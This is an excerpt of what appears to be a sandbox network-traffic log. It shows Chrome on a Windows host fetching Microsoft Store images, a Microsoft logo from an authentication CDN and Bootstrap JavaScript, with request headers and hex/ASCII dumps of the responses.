Content-Type: image/png
Last-Modified: Tue, 06 Oct 2020 07:51:53 GMT
Accept-Ranges: none
ETag: W/"AEBa1e7txn2TDYI5ywciWaE/GFaMMdQgMHg4RDg2OUNDQjEyNkQ2RTQ"
MS-CV: io5H35z9qESL1hpw.0
Access-Control-Expose-Headers: MS-CV
Date: Thu, 26 May 2022 11:45:34 GMT
Connection: close
Access-Control-Allow-Origin: *

2022-05-26 11:45:34 UTC 397 IN Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 8e 00 00 00 8e 08 03 00 00 00 d0 23 c0 3a 00 00 
02 46 50 4c 54 45 ff ff ff 22 90 d3 00 1f 37 00 1e 37 2b b0 fe 04 2e 4c 01 23 3d 00 1e 36 2c b1 ff 8f 9c a6 00 21 3a 03 2d 
4b 01 24 3f 15 67 9b 02 26 42 02 28 44 15 6a 9f 0f 55 81 06 36 57 00 21 3b 22 94 d8 1c 81 be 1f 8c ce 10 58 86 06 35 57 
10 58 87 1a 79 b3 01 24 3e 1d 86 c5 1f 8b cd 2a af fc 06 35 56 21 90 d3 15 6a 9e 1c 84 c2 19 78 b3 1a 7a b4 1d 85 c4 02 
27 43 19 77 b1 fe fe fe 14 66 99 19 77 b0 03 2c 4a 19 78 b2 1c 84 c3 2b af fd 28 a5 ef 10 59 88 1f 8c cd 0c 29 3f 2c 45 59 
05 22 39 2a ae fb 01 25 40 07 3a 5d 16 6e a4 04 2f 4d 20 90 d3 15 67 9c 0f 55 82 28 a7 f2 27 a4 ee 24 9a e1 08 3b 5e 0d 
4f 7a 00 1f 38 06 37 58 23 99 e0 00 20 39 21 91 d5 14 
Data Ascii: PNGIHDR#:FPLTE"77+.L#=6,!:-K$?g&B(DjU6W!;"X5WXy$>*5V!jxz'Cwfw,Jx+(Y)?,EY"9*%@:]n/M gU('$
;^Oz87X# 9!

Session ID Source IP Source Port Destination IP
Destination
Port

Process

28 192.168.2.4 49747 23.211.6.115 443 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred

Direction Data

2022-05-26 11:45:34 UTC 394 OUT GET /image/apps.5075.9007199266244427.c75d2ced-a383-40dc-babd-1ad2ceb13c86.f329a73d-1ae8-4445-aa4c-b
f40f3c5d62d?format=source HTTP/1.1
Accept: */*
Accept-Encoding: gzip, deflate, br
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.
140 Safari/537.36 Edge/17.17134
Host: store-images.s-microsoft.com
Connection: Keep-Alive
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2022-05-26 11:45:34 UTC 399 IN HTTP/1.1 200 OK
Cache-Control: public, max-age=7776000, s-maxage=7776000
Content-Length: 6001
Content-Type: image/png
Last-Modified: Thu, 10 Jun 2021 02:49:21 GMT
Accept-Ranges: none
ETag: W/"AEBa1e7txn2TDYI5ywciWaE/GFaMMdQgMHg4RDkyQkJBNTkzQjkwQjA"
MS-CV: yq21NaejzkmnbM2s.0
Access-Control-Expose-Headers: MS-CV
Date: Thu, 26 May 2022 11:45:34 GMT
Connection: close
Access-Control-Allow-Origin: *

2022-05-26 11:45:34 UTC 399 IN Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 01 2c 00 00 01 2c 08 06 00 00 00 79 7d 8e 75 00 00 
00 01 73 52 47 42 00 ae ce 1c e9 00 00 00 04 67 41 4d 41 00 00 b1 8f 0b fc 61 05 00 00 00 09 70 48 59 73 00 00 0e c3 
00 00 0e c3 01 c7 6f a8 64 00 00 17 06 49 44 41 54 78 5e ed dd 09 b0 9d 65 7d c7 f1 4e 9d e9 4c db a9 62 20 a0 b6 45 7
1 69 15 15 a1 52 16 2b 8a ad 58 5b 75 da 2a 45 ac a2 16 ad d6 aa 5d 54 46 10 5b b5 56 b1 2e 38 5a a5 b2 24 0a 09 10 
b2 27 6c 49 48 42 58 b2 40 02 09 d9 20 24 64 83 2c 64 e5 dc b3 2f f7 fe fb fc 9e 9b 33 05 3c e0 bd c9 79 df f3 fe df f3 fd cf 
7c e6 86 2c f7 72 96 f7 77 9e e7 79 9f e5 d7 7e ff da 01 03 00 0f 08 2c 00 6e 10 58 00 dc 20 b0 00 b8 41 60 01 70 83 c0 
02 e0 06 81 05 c0 0d 02 0b 80 1b 04 16 00 37 08 2c 00 6e 10 58 
Data Ascii: PNGIHDR,,y}usRGBgAMAapHYsodIDATx^e}NLb EqiR+X[u*E]TF[V.8Z$'lIHBX@ $d,d/3<y|,rwy~,nX A`p7,nX

Timestamp
kBytes
transferred

Direction Data

Session ID Source IP Source Port Destination IP
Destination
Port

Process

29 192.168.2.4 49749 192.229.221.185 443 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred

Direction Data

2022-05-26 11:45:34 UTC 407 OUT GET /shared/1.0/content/images/microsoft_logo_ee5c8d9fb6248c938fd0dc19370e90bd.svg HTTP/1.1
Host: logincdn.msauth.net
Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.
121 Safari/537.36
Accept: image/avif,image/webp,image/apng,image/*,*/*;q=0.8
Sec-Fetch-Site: cross-site
Sec-Fetch-Mode: no-cors
Sec-Fetch-Dest: image
Accept-Encoding: gzip, deflate, br
Accept-Language: en-GB,en-US;q=0.9,en;q=0.8

2022-05-26 11:45:34 UTC 408 IN HTTP/1.1 200 OK
Access-Control-Allow-Origin: *
Access-Control-Expose-Headers: x-ms-request-id,Server,x-ms-version,Content-Length,Date,Transfer-Encoding
Age: 30335648
Cache-Control: public, max-age=31536000
Content-MD5: nzaLxFgP7ZB3dfMcaybWzw==
Content-Type: image/svg+xml
Date: Thu, 26 May 2022 11:45:34 GMT
Etag: 0x8D79ED29CF0C29A
Last-Modified: Wed, 22 Jan 2020 00:32:50 GMT
Server: ECAcc (frc/8E9E)
Vary: Accept-Encoding
X-Cache: HIT
x-ms-blob-type: BlockBlob
x-ms-lease-status: unlocked
x-ms-request-id: ae00a5ef-301e-0050-690f-5d9d0f000000
x-ms-version: 2009-09-19
Content-Length: 3651
Connection: close

2022-05-26 11:45:34 UTC 408 IN Data Raw: 3c 73 76 67 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 30 2f 73 
76 67 22 20 77 69 64 74 68 3d 22 31 30 38 22 20 68 65 69 67 68 74 3d 22 32 34 22 20 76 69 65 77 42 6f 78 3d 22 30 20 
30 20 31 30 38 20 32 34 22 3e 3c 74 69 74 6c 65 3e 61 73 73 65 74 73 3c 2f 74 69 74 6c 65 3e 3c 70 61 74 68 20 64 3d 
22 4d 34 34 2e 38 33 36 2c 34 2e 36 56 31 38 2e 34 68 2d 32 2e 34 56 37 2e 35 38 33 48 34 32 2e 34 4c 33 38 2e 31 31 
39 2c 31 38 2e 34 48 33 36 2e 35 33 31 4c 33 32 2e 31 34 32 2c 37 2e 35 38 33 68 2d 2e 30 32 39 56 31 38 2e 34 48 32 
39 2e 39 56 34 2e 36 68 33 2e 34 33 36 4c 33 37 2e 33 2c 31 34 2e 38 33 68 2e 30 35 38 4c 34 31 2e 35 34 35 2c 34 2e 
36 5a 6d 32 2c 31 2e 30 34 39 61 31 2e 32 36 38 2c 31 2e 32 36 38 2c 30 
Data Ascii: <svg xmlns="http://www.w3.org/2000/svg" width="108" height="24" viewBox="0 0 108 24"><title>assets</title>
<path d="M44.836,4.6V18.4h-2.4V7.583H42.4L38.119,18.4H36.531L32.142,7.583h-.029V18.4H29.9V4.6h3.436L37
.3,14.83h.058L41.545,4.6Zm2,1.049a1.268,1.268,0

Session ID Source IP Source Port Destination IP
Destination
Port

Process

3 192.168.2.4 49720 23.211.6.115 443 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred

Direction Data
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2022-05-26 11:45:28 UTC 57 OUT GET /image/apps.18694.9007199266247846.b5c49955-e050-4553-b8e4-0e223ed6c5a1.4e8e78d2-c2c2-4c02-8d8c-
46ac3b2419e7?format=source HTTP/1.1
Accept: */*
Accept-Encoding: gzip, deflate, br
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.
140 Safari/537.36 Edge/17.17134
Host: store-images.s-microsoft.com
Connection: Keep-Alive

2022-05-26 11:45:28 UTC 60 IN HTTP/1.1 200 OK
Cache-Control: public, max-age=7776000, s-maxage=7776000
Content-Length: 3667
Content-Type: image/png
Last-Modified: Wed, 04 Mar 2020 18:13:09 GMT
Accept-Ranges: none
ETag: W/"AEBa1e7txn2TDYI5ywciWaE/GFaMMdQgMHg4RDdDMDY3QjFCNTg1NkE"
MS-CV: RzU3JcDdukKYyaz4.0
Access-Control-Expose-Headers: MS-CV
Date: Thu, 26 May 2022 11:45:28 GMT
Connection: close
Access-Control-Allow-Origin: *

2022-05-26 11:45:28 UTC 60 IN Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 8e 00 00 00 8e 08 06 00 00 00 e7 fd 30 08 00 00 
0e 1a 49 44 41 54 78 5e ed 9d 5f 88 24 57 15 c6 cf a9 ee 99 64 66 a3 6e 36 f8 26 91 68 20 28 11 9f 44 25 a8 80 88 40 80 
e0 93 04 7c 11 51 c1 17 ff 83 a8 82 18 41 81 18 50 51 21 82 90 27 41 7c 11 88 08 18 44 21 1a 14 9f 22 c1 b8 06 5f 44 65 
d7 dd c5 75 77 76 67 a6 fb 7e 5a bd b7 f9 e8 7b b8 9c 99 a2 6b a6 ab e6 7c 70 b9 a7 aa 86 ee 9e ee 5f 7f e7 dc 7b ab aa 
15 80 1c 57 a1 50 23 ae 42 a1 00 27 14 e0 84 02 9c 50 80 13 0a 70 42 a1 00 27 14 e0 84 02 9c 50 80 13 0a 70 42 a1 00 
27 14 e0 84 02 9c 50 80 13 0a 70 42 a1 00 27 14 e0 84 02 9c 50 80 13 0a 70 42 a1 00 27 14 e0 84 02 9c 50 80 13 0a 4d 
65 04 52 55 95 01 0a 00 64 a0 52 00 01 46 80 d5 37 38 01 4a 80 44 
Data Ascii: PNGIHDR0IDATx^_$Wdfn6&h (D%@|QAPQ!'A|D!"_Deuwvg~Z{k|p_{WP#B'PpB'PpB'PpB'PpB'PM
eRUdRF78JD

Timestamp
kBytes
transferred

Direction Data

Session ID Source IP Source Port Destination IP
Destination
Port

Process

30 192.168.2.4 49750 104.18.10.207 443 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred

Direction Data

2022-05-26 11:45:34 UTC 407 OUT GET /bootstrap/4.0.0/js/bootstrap.min.js HTTP/1.1
Host: maxcdn.bootstrapcdn.com
Connection: keep-alive
Origin: null
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.
121 Safari/537.36
Intervention: <https://www.chromestatus.com/feature/5718547946799104>; level="warning"
Accept: */*
Sec-Fetch-Site: cross-site
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: script
Accept-Encoding: gzip, deflate, br
Accept-Language: en-GB,en-US;q=0.9,en;q=0.8

2022-05-26 11:45:34 UTC 412 IN HTTP/1.1 200 OK
Date: Thu, 26 May 2022 11:45:34 GMT
Content-Type: application/javascript; charset=utf-8
Transfer-Encoding: chunked
Connection: close
Vary: Accept-Encoding
CDN-PullZone: 252412
CDN-Uid: b1941f61-b576-4f40-80de-5677acb38f74
CDN-RequestCountryCode: US
CDN-EdgeStorageId: 617
CDN-EdgeStorageId: 617
CDN-EdgeStorageId: 617
Last-Modified: Mon, 25 Jan 2021 22:04:04 GMT
CDN-CachedAt: 2021-06-08 14:29:21
CDN-RequestPullSuccess: True
CDN-RequestPullCode: 200
Cache-Control: public, max-age=31919000
timing-allow-origin: *
cross-origin-resource-policy: cross-origin
access-control-allow-origin: *
x-content-type-options: nosniff
CDN-RequestId: 4ddd2d8c21591c178cf577692f10ab09
CDN-Cache: HIT
CF-Cache-Status: HIT
Age: 10461694
Expect-CT: max-age=604800, report-uri="https://report-uri.cloudflare.com/cdn-cgi/beacon/expect-ct"
Strict-Transport-Security: max-age=31536000; includeSubDomains; preload
Server: cloudflare
CF-RAY: 711643ed3aa29256-FRA
alt-svc: h3=":443"; ma=86400, h3-29=":443"; ma=86400
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2022-05-26 11:45:34 UTC 413 IN Data Raw: 37 62 63 39 0d 0a 2f 2a 21 0a 20 20 2a 20 42 6f 6f 74 73 74 72 61 70 20 76 34 2e 30 2e 30 20 28 68 74 74 70 
73 3a 2f 2f 67 65 74 62 6f 6f 74 73 74 72 61 70 2e 63 6f 6d 29 0a 20 20 2a 20 43 6f 70 79 72 69 67 68 74 20 32 30 31 31 
2d 32 30 31 38 20 54 68 65 20 42 6f 6f 74 73 74 72 61 70 20 41 75 74 68 6f 72 73 20 28 68 74 74 70 73 3a 2f 2f 67 69 74 
68 75 62 2e 63 6f 6d 2f 74 77 62 73 2f 62 6f 6f 74 73 74 72 61 70 2f 67 72 61 70 68 73 2f 63 6f 6e 74 72 69 62 75 74 6f 72 
73 29 0a 20 20 2a 20 4c 69 63 65 6e 73 65 64 20 75 6e 64 65 72 20 4d 49 54 20 28 68 74 74 70 73 3a 2f 2f 67 69 74 68 
75 62 2e 63 6f 6d 2f 74 77 62 73 2f 62 6f 6f 74 73 74 72 61 70 2f 62 6c 6f 62 2f 6d 61 73 74 65 72 2f 4c 49 43 45 4e 53 45 
29 0a 20 20 2a 2f 0a 21 66 75 6e 63 74 69 6f 6e 28 74 
Data Ascii: 7bc9/*!  * Bootstrap v4.0.0 (https://getbootstrap.com)  * Copyright 2011-2018 The Bootstrap Authors (https:/
/github.com/twbs/bootstrap/graphs/contributors)  * Licensed under MIT (https://github.com/twbs/bootstrap/blob/master/LIC
ENSE)  */!function(t

2022-05-26 11:45:34 UTC 413 IN Data Raw: 6a 71 75 65 72 79 22 29 2c 72 65 71 75 69 72 65 28 22 70 6f 70 70 65 72 2e 6a 73 22 29 29 3a 22 66 75 6e 63 
74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 64 65 66 69 6e 65 26 26 64 65 66 69 6e 65 2e 61 6d 64 3f 64 65 66 69 6e 65 
28 5b 22 65 78 70 6f 72 74 73 22 2c 22 6a 71 75 65 72 79 22 2c 22 70 6f 70 70 65 72 2e 6a 73 22 5d 2c 65 29 3a 65 28 
74 2e 62 6f 6f 74 73 74 72 61 70 3d 7b 7d 2c 74 2e 6a 51 75 65 72 79 2c 74 2e 50 6f 70 70 65 72 29 7d 28 74 68 69 73 2c 
66 75 6e 63 74 69 6f 6e 28 74 2c 65 2c 6e 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 66 75 6e 63 74 69 6f 6e 20 69 2
8 74 2c 65 29 7b 66 6f 72 28 76 61 72 20 6e 3d 30 3b 6e 3c 65 2e 6c 65 6e 67 74 68 3b 6e 2b 2b 29 7b 76 61 72 20 69 3d 
65 5b 6e 5d 3b 69 2e 65 6e 75 6d 65 72 61 62 6c 65 3d 69 2e 65 6e 
Data Ascii: jquery"),require("popper.js")):"function"==typeof define&&define.amd?define(["exports","jquery","popper.js"]
,e):e(t.bootstrap={},t.jQuery,t.Popper)}(this,function(t,e,n){"use strict";function i(t,e){for(var n=0;n<e.length;n++){var i=e[n];
i.enumerable=i.en

2022-05-26 11:45:34 UTC 415 IN Data Raw: 6e 20 6e 75 6c 6c 7d 7d 2c 72 65 66 6c 6f 77 3a 66 75 6e 63 74 69 6f 6e 28 74 29 7b 72 65 74 75 72 6e 20 74 
2e 6f 66 66 73 65 74 48 65 69 67 68 74 7d 2c 74 72 69 67 67 65 72 54 72 61 6e 73 69 74 69 6f 6e 45 6e 64 3a 66 75 6e 
63 74 69 6f 6e 28 6e 29 7b 74 28 6e 29 2e 74 72 69 67 67 65 72 28 65 2e 65 6e 64 29 7d 2c 73 75 70 70 6f 72 74 73 54 
72 61 6e 73 69 74 69 6f 6e 45 6e 64 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 42 6f 6f 6c 65 61 6e 28 65 
29 7d 2c 69 73 45 6c 65 6d 65 6e 74 3a 66 75 6e 63 74 69 6f 6e 28 74 29 7b 72 65 74 75 72 6e 28 74 5b 30 5d 7c 7c 74 
29 2e 6e 6f 64 65 54 79 70 65 7d 2c 74 79 70 65 43 68 65 63 6b 43 6f 6e 66 69 67 3a 66 75 6e 63 74 69 6f 6e 28 74 2c 65 
2c 6e 29 7b 66 6f 72 28 76 61 72 20 73 20 69 6e 20 6e 29 69 66 28 
Data Ascii: n null}},reflow:function(t){return t.offsetHeight},triggerTransitionEnd:function(n){t(n).trigger(e.end)},sup
portsTransitionEnd:function(){return Boolean(e)},isElement:function(t){return(t[0]||t).nodeType},typeCheckConfig:functio
n(t,e,n){for(var s in n)if(

2022-05-26 11:45:34 UTC 416 IN Data Raw: 5d 29 2c 6e 7c 7c 28 6e 3d 6f 28 74 29 2e 63 6c 6f 73 65 73 74 28 22 2e 22 2b 66 29 5b 30 5d 29 2c 6e 7d 2c 
65 2e 5f 74 72 69 67 67 65 72 43 6c 6f 73 65 45 76 65 6e 74 3d 66 75 6e 63 74 69 6f 6e 28 74 29 7b 76 61 72 20 65 3d 6f 
2e 45 76 65 6e 74 28 75 2e 43 4c 4f 53 45 29 3b 72 65 74 75 72 6e 20 6f 28 74 29 2e 74 72 69 67 67 65 72 28 65 29 2c 
65 7d 2c 65 2e 5f 72 65 6d 6f 76 65 45 6c 65 6d 65 6e 74 3d 66 75 6e 63 74 69 6f 6e 28 74 29 7b 76 61 72 20 65 3d 74 68 
69 73 3b 6f 28 74 29 2e 72 65 6d 6f 76 65 43 6c 61 73 73 28 5f 29 2c 50 2e 73 75 70 70 6f 72 74 73 54 72 61 6e 73 69 74 
69 6f 6e 45 6e 64 28 29 26 26 6f 28 74 29 2e 68 61 73 43 6c 61 73 73 28 64 29 3f 6f 28 74 29 2e 6f 6e 65 28 50 2e 54 52 
41 4e 53 49 54 49 4f 4e 5f 45 4e 44 2c 66 75 6e 63 74 69 6f 
Data Ascii: ]),n||(n=o(t).closest("."+f)[0]),n},e._triggerCloseEvent=function(t){var e=o.Event(u.CLOSE);return o(t).trig
ger(e),e},e._removeElement=function(t){var e=this;o(t).removeClass(_),P.supportsTransitionEnd()&&o(t).hasClass(d)?
o(t).one(P.TRANSITION_END,functio

2022-05-26 11:45:34 UTC 417 IN Data Raw: 63 68 65 63 6b 65 64 26 26 70 28 74 68 69 73 2e 5f 65 6c 65 6d 65 6e 74 29 2e 68 61 73 43 6c 61 73 73 28 43 
29 29 74 3d 21 31 3b 65 6c 73 65 7b 76 61 72 20 73 3d 70 28 6e 29 2e 66 69 6e 64 28 77 29 5b 30 5d 3b 73 26 26 70 28 
73 29 2e 72 65 6d 6f 76 65 43 6c 61 73 73 28 43 29 7d 69 66 28 74 29 7b 69 66 28 69 2e 68 61 73 41 74 74 72 69 62 75 
74 65 28 22 64 69 73 61 62 6c 65 64 22 29 7c 7c 6e 2e 68 61 73 41 74 74 72 69 62 75 74 65 28 22 64 69 73 61 62 6c 65 
64 22 29 7c 7c 69 2e 63 6c 61 73 73 4c 69 73 74 2e 63 6f 6e 74 61 69 6e 73 28 22 64 69 73 61 62 6c 65 64 22 29 7c 7c 
6e 2e 63 6c 61 73 73 4c 69 73 74 2e 63 6f 6e 74 61 69 6e 73 28 22 64 69 73 61 62 6c 65 64 22 29 29 72 65 74 75 72 6e 
3b 69 2e 63 68 65 63 6b 65 64 3d 21 70 28 74 68 69 73 2e 5f 65 6c 65 6d 
Data Ascii: checked&&p(this._element).hasClass(C))t=!1;else{var s=p(n).find(w)[0];s&&p(s).removeClass(C)}if(t){if(i.hasA
ttribute("disabled")||n.hasAttribute("disabled")||i.classList.contains("disabled")||n.classList.contains("disabled"))return;i.chec
ked=!p(this._elem

2022-05-26 11:45:34 UTC 419 IN Data Raw: 72 69 67 68 74 22 2c 64 3d 7b 53 4c 49 44 45 3a 22 73 6c 69 64 65 22 2b 69 2c 53 4c 49 44 3a 22 73 6c 69 64 
22 2b 69 2c 4b 45 59 44 4f 57 4e 3a 22 6b 65 79 64 6f 77 6e 22 2b 69 2c 4d 4f 55 53 45 45 4e 54 45 52 3a 22 6d 6f 75 73 
65 65 6e 74 65 72 22 2b 69 2c 4d 4f 55 53 45 4c 45 41 56 45 3a 22 6d 6f 75 73 65 6c 65 61 76 65 22 2b 69 2c 54 4f 55 43 
48 45 4e 44 3a 22 74 6f 75 63 68 65 6e 64 22 2b 69 2c 4c 4f 41 44 5f 44 41 54 41 5f 41 50 49 3a 22 6c 6f 61 64 22 2b 69 
2b 22 2e 64 61 74 61 2d 61 70 69 22 2c 43 4c 49 43 4b 5f 44 41 54 41 5f 41 50 49 3a 22 63 6c 69 63 6b 22 2b 69 2b 22 
2e 64 61 74 61 2d 61 70 69 22 7d 2c 5f 3d 22 63 61 72 6f 75 73 65 6c 22 2c 67 3d 22 61 63 74 69 76 65 22 2c 70 3d 22 
73 6c 69 64 65 22 2c 6d 3d 22 63 61 72 6f 75 73 65 6c 2d 69 74 
Data Ascii: right",d={SLIDE:"slide"+i,SLID:"slid"+i,KEYDOWN:"keydown"+i,MOUSEENTER:"mouseenter"+i,MO
USELEAVE:"mouseleave"+i,TOUCHEND:"touchend"+i,LOAD_DATA_API:"load"+i+".data-api",CLICK_DATA_API:"cli
ck"+i+".data-api"},_="carousel",g="active",p="slide",m="carousel-it

2022-05-26 11:45:34 UTC 420 IN Data Raw: 6e 28 74 29 7b 74 7c 7c 28 74 68 69 73 2e 5f 69 73 50 61 75 73 65 64 3d 21 31 29 2c 74 68 69 73 2e 5f 69 6e 
74 65 72 76 61 6c 26 26 28 63 6c 65 61 72 49 6e 74 65 72 76 61 6c 28 74 68 69 73 2e 5f 69 6e 74 65 72 76 61 6c 29 2c 
74 68 69 73 2e 5f 69 6e 74 65 72 76 61 6c 3d 6e 75 6c 6c 29 2c 74 68 69 73 2e 5f 63 6f 6e 66 69 67 2e 69 6e 74 65 72 76 
61 6c 26 26 21 74 68 69 73 2e 5f 69 73 50 61 75 73 65 64 26 26 28 74 68 69 73 2e 5f 69 6e 74 65 72 76 61 6c 3d 73 65 
74 49 6e 74 65 72 76 61 6c 28 28 64 6f 63 75 6d 65 6e 74 2e 76 69 73 69 62 69 6c 69 74 79 53 74 61 74 65 3f 74 68 69 7
3 2e 6e 65 78 74 57 68 65 6e 56 69 73 69 62 6c 65 3a 74 68 69 73 2e 6e 65 78 74 29 2e 62 69 6e 64 28 74 68 69 73 29 
2c 74 68 69 73 2e 5f 63 6f 6e 66 69 67 2e 69 6e 74 65 72 76 61 6c 29 
Data Ascii: n(t){t||(this._isPaused=!1),this._interval&&(clearInterval(this._interval),this._interval=null),this._config.interval&
&!this._isPaused&&(this._interval=setInterval((document.visibilityState?this.nextWhenVisible:this.next).bind(this),this.
_config.interval)

2022-05-26 11:45:34 UTC 421 IN Data Raw: 72 65 74 75 72 6e 20 65 2e 63 79 63 6c 65 28 74 29 7d 2c 35 30 30 2b 65 2e 5f 63 6f 6e 66 69 67 2e 69 6e 74 
65 72 76 61 6c 29 7d 29 29 7d 2c 43 2e 5f 6b 65 79 64 6f 77 6e 3d 66 75 6e 63 74 69 6f 6e 28 74 29 7b 69 66 28 21 2f 69 
6e 70 75 74 7c 74 65 78 74 61 72 65 61 2f 69 2e 74 65 73 74 28 74 2e 74 61 72 67 65 74 2e 74 61 67 4e 61 6d 65 29 29 
73 77 69 74 63 68 28 74 2e 77 68 69 63 68 29 7b 63 61 73 65 20 33 37 3a 74 2e 70 72 65 76 65 6e 74 44 65 66 61 75 6c 
74 28 29 2c 74 68 69 73 2e 70 72 65 76 28 29 3b 62 72 65 61 6b 3b 63 61 73 65 20 33 39 3a 74 2e 70 72 65 76 65 6e 74 
44 65 66 61 75 6c 74 28 29 2c 74 68 69 73 2e 6e 65 78 74 28 29 7d 7d 2c 43 2e 5f 67 65 74 49 74 65 6d 49 6e 64 65 78 
3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 20 74 68 69 
Data Ascii: return e.cycle(t)},500+e._config.interval)}))},C._keydown=function(t){if(!/input|textarea/i.test(t.target.ta
gName))switch(t.which){case 37:t.preventDefault(),this.prev();break;case 39:t.preventDefault(),this.next()}},C._getItemI
ndex=function(e){return thi

Timestamp
kBytes
transferred

Direction Data
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2022-05-26 11:45:34 UTC 423 IN Data Raw: 69 64 69 6e 67 3d 21 30 2c 43 26 26 74 68 69 73 2e 70 61 75 73 65 28 29 2c 74 68 69 73 2e 5f 73 65 74 41 63 
74 69 76 65 49 6e 64 69 63 61 74 6f 72 45 6c 65 6d 65 6e 74 28 63 29 3b 76 61 72 20 49 3d 74 2e 45 76 65 6e 74 28 64 
2e 53 4c 49 44 2c 7b 72 65 6c 61 74 65 64 54 61 72 67 65 74 3a 63 2c 64 69 72 65 63 74 69 6f 6e 3a 72 2c 66 72 6f 6d 
3a 6c 2c 74 6f 3a 5f 7d 29 3b 50 2e 73 75 70 70 6f 72 74 73 54 72 61 6e 73 69 74 69 6f 6e 45 6e 64 28 29 26 26 74 28 74 
68 69 73 2e 5f 65 6c 65 6d 65 6e 74 29 2e 68 61 73 43 6c 61 73 73 28 70 29 3f 28 74 28 63 29 2e 61 64 64 43 6c 61 73 7
3 28 73 29 2c 50 2e 72 65 66 6c 6f 77 28 63 29 2c 74 28 61 29 2e 61 64 64 43 6c 61 73 73 28 69 29 2c 74 28 63 29 2e 61 
64 64 43 6c 61 73 73 28 69 29 2c 74 28 61 29 2e 6f 6e 65 28 50 2e 
Data Ascii: iding=!0,C&&this.pause(),this._setActiveIndicatorElement(c);var I=t.Event(d.SLID,{relatedTarget:c,direction:
r,from:l,to:_});P.supportsTransitionEnd()&&t(this._element).hasClass(p)?(t(c).addClass(s),P.reflow(c),t(a).addClass(i),t
(c).addClass(i),t(a).one(P.

2022-05-26 11:45:34 UTC 424 IN Data Raw: 43 4c 49 43 4b 5f 44 41 54 41 5f 41 50 49 2c 79 2e 44 41 54 41 5f 53 4c 49 44 45 2c 43 2e 5f 64 61 74 61 41 
70 69 43 6c 69 63 6b 48 61 6e 64 6c 65 72 29 2c 74 28 77 69 6e 64 6f 77 29 2e 6f 6e 28 64 2e 4c 4f 41 44 5f 44 41 54 41 
5f 41 50 49 2c 66 75 6e 63 74 69 6f 6e 28 29 7b 74 28 79 2e 44 41 54 41 5f 52 49 44 45 29 2e 65 61 63 68 28 66 75 6e 
63 74 69 6f 6e 28 29 7b 76 61 72 20 65 3d 74 28 74 68 69 73 29 3b 43 2e 5f 6a 51 75 65 72 79 49 6e 74 65 72 66 61 63 
65 2e 63 61 6c 6c 28 65 2c 65 2e 64 61 74 61 28 29 29 7d 29 7d 29 2c 74 2e 66 6e 5b 65 5d 3d 43 2e 5f 6a 51 75 65 72 7
9 49 6e 74 65 72 66 61 63 65 2c 74 2e 66 6e 5b 65 5d 2e 43 6f 6e 73 74 72 75 63 74 6f 72 3d 43 2c 74 2e 66 6e 5b 65 5d 
2e 6e 6f 43 6f 6e 66 6c 69 63 74 3d 66 75 6e 63 74 69 6f 6e 28 29 
Data Ascii: CLICK_DATA_API,y.DATA_SLIDE,C._dataApiClickHandler),t(window).on(d.LOAD_DATA_API,function()
{t(y.DATA_RIDE).each(function(){var e=t(this);C._jQueryInterface.call(e,e.data())})}),t.fn[e]=C._jQueryInterface,t.fn
[e].Constructor=C,t.fn[e].noConflict=function()

2022-05-26 11:45:34 UTC 425 IN Data Raw: 63 74 69 6f 6e 28 29 7b 76 61 72 20 65 2c 73 2c 72 3d 74 68 69 73 3b 69 66 28 21 74 68 69 73 2e 5f 69 73 54 
72 61 6e 73 69 74 69 6f 6e 69 6e 67 26 26 21 74 28 74 68 69 73 2e 5f 65 6c 65 6d 65 6e 74 29 2e 68 61 73 43 6c 61 73 
73 28 63 29 26 26 28 74 68 69 73 2e 5f 70 61 72 65 6e 74 26 26 30 3d 3d 3d 28 65 3d 74 2e 6d 61 6b 65 41 72 72 61 79 
28 74 28 74 68 69 73 2e 5f 70 61 72 65 6e 74 29 2e 66 69 6e 64 28 70 2e 41 43 54 49 56 45 53 29 2e 66 69 6c 74 65 72 
28 27 5b 64 61 74 61 2d 70 61 72 65 6e 74 3d 22 27 2b 74 68 69 73 2e 5f 63 6f 6e 66 69 67 2e 70 61 72 65 6e 74 2b 27 
22 5d 27 29 29 29 2e 6c 65 6e 67 74 68 26 26 28 65 3d 6e 75 6c 6c 29 2c 21 28 65 26 26 28 73 3d 74 28 65 29 2e 6e 6f 
74 28 74 68 69 73 2e 5f 73 65 6c 65 63 74 6f 72 29 2e 64 61 74 61 28 6e 
Data Ascii: ction(){var e,s,r=this;if(!this._isTransitioning&&!t(this._element).hasClass(c)&&(this._parent&&0===(e=t.mak
eArray(t(this._parent).find(p.ACTIVES).filter('[data-parent="'+this._config.parent+'"]'))).length&&(e=null),!(e&&(s=t(e)
.not(this._selector).data(n

2022-05-26 11:45:34 UTC 427 IN Data Raw: 6c 65 6e 67 74 68 3e 30 29 66 6f 72 28 76 61 72 20 73 3d 30 3b 73 3c 74 68 69 73 2e 5f 74 72 69 67 67 65 72 
41 72 72 61 79 2e 6c 65 6e 67 74 68 3b 73 2b 2b 29 7b 76 61 72 20 72 3d 74 68 69 73 2e 5f 74 72 69 67 67 65 72 41 72 
